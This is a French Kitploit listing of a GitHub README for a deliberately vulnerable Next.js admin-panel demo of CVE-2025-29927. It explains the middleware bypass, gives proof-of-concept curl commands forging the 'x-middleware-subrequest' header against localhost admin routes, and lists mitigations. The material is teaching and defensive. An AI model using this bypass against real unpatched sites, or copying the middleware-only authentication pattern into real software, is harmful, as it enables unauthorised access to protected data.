Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-29927-nextjs | Kitploit
Outils/GitHubGitHub/gitgudkrish/cve-2025-29927-nextjs
Analyse des VulnérabilitésExploitation d'Applications WebSécurité WebTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubgitgudkrish/cve-2025-29927-nextjs

cve-2025-29927-nextjs

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Panneau d'administration Himalaya Tech — Démo CVE-2025-29927

AVERTISSEMENT : Cette application est volontairement vulnérable. À des fins éducatives et de recherche en sécurité autorisée uniquement. Ne déployez PAS sur un serveur public.


À propos de cette démo

Cette application démontre CVE-2025-29927, une vulnérabilité critique de contournement de l'authentification dans le middleware Next.js (CVSS 9.1). Elle simule un panneau d'administration d'entreprise réaliste pour la société fictive « Himalaya Tech Pvt. Ltd. » — rendant l'impact du contournement visuellement parlant.

Tous les enregistrements d'employés, clés API, identifiants de base de données et autres données « sensibles » affichés sont entièrement fictifs et simulés — générés uniquement pour la démonstration éducative.


CVE-2025-29927 — Résumé de la vulnérabilité

ChampDétail
ID CVECVE-2025-29927
SévéritéCritique (CVSS 9.1)
Versions affectéesNext.js ≤ 14.2.29, Next.js ≤ 15.2.2
Corrigé dansNext.js 14.2.30, 15.2.3
TypeContournement de l'authentification du middleware par manipulation d'en-tête HTTP

Cause racine

Next.js utilise un en-tête HTTP interne x-middleware-subrequest pour suivre les appels récursifs du middleware et empêcher les boucles infinies. Dans les versions vulnérables, un attaquant peut falsifier cet en-tête dans une requête externe. Lorsque l'en-tête est présent et correspond à l'identifiant du middleware, le runtime Next.js ignore entièrement le middleware, y compris toute la logique d'authentification qui y est définie.

Impact

Toute application qui repose uniquement sur middleware.ts pour protéger ses routes (un modèle Next.js courant et recommandé) est vulnérable. Un attaquant non authentifié peut accéder à n'importe quelle page protégée en ajoutant simplement un en-tête HTTP.


Preuve de concept

Requête normale (bloquée — redirection vers /login)

root@kitploit:~
curl -v http://localhost:3000/admin
# → 307 Redirect to /login

Requête de contournement (réussit — renvoie la page d'administration complète)

root@kitploit:~
curl -v \
  -H "x-middleware-subrequest: middleware" \
  http://localhost:3000/admin

# → 200 OK — full admin dashboard HTML returned, no authentication required

Accès aux routes protégées imbriquées

root@kitploit:~
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users

# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings

Utilisation avec un navigateur (via Burp Suite / extension de navigateur)

Ajoutez l'en-tête de requête x-middleware-subrequest: middleware à toute requête vers /admin/* et la vérification du middleware sera ignorée.


Pourquoi cette application est vulnérable

middleware.ts est le seul mécanisme de protection :

root@kitploit:~
// middleware.ts
export function middleware(request: NextRequest) {
  if (pathname.startsWith("/admin")) {
    const token = request.cookies.get("auth-token")?.value;
    if (!token || token !== "valid-session-xyz123") {
      return NextResponse.redirect(loginUrl); // ← this entire function is skipped
    }
  }
  return NextResponse.next();
}

Les composants de page eux-mêmes (par ex. app/admin/page.tsx) ne contiennent aucune vérification d'authentification — volontairement, pour refléter les applications réelles qui suivent le modèle de protection basé uniquement sur le middleware.


Installation et exécution

Prérequis

  • Node.js 18+
  • npm ou yarn

Installation

root@kitploit:~
npm install

Lancer le serveur de développement

root@kitploit:~
npm run dev

L'application sera disponible à l'adresse http://localhost:3000.

Routes

*Protégées uniquement par le middleware — contournées par CVE-2025-29927.

Identifiants de démonstration (flux de connexion normal)

  • E-mail : [email protected]
  • Mot de passe : Admin@2024

Mesures d'atténuation

  1. Mettez à niveau Next.js vers 14.2.30+ ou 15.2.3+.
  2. Défense en profondeur : ajoutez des vérifications d'authentification côté serveur dans les composants de page et les gestionnaires de routes, et pas uniquement dans le middleware. Le middleware doit être traité comme une optimisation de l'expérience utilisateur, et non comme une frontière de sécurité.
  3. Supprimez l'en-tête au niveau de votre proxy inverse/CDN avant que les requêtes n'atteignent Next.js.

Décharge de responsabilité

Cette application est fournie uniquement à des fins éducatives, spécifiquement pour démontrer l'impact réel de CVE-2025-29927 dans le cadre d'un cours de sécurité éthique. Toutes les données (enregistrements d'employés, clés API, identifiants) sont entièrement fictives. N'utilisez pas cette application de démonstration ni les techniques démontrées ici contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

Télécharger l’outil
RouteAuthentification requiseDescription
/NonPage d'accueil publique
/loginNonFormulaire de connexion
/adminOui*Tableau de bord d'administration avec données sensibles
/admin/usersOui*Gestion des utilisateurs
/admin/settingsOui*Paramètres système et identifiants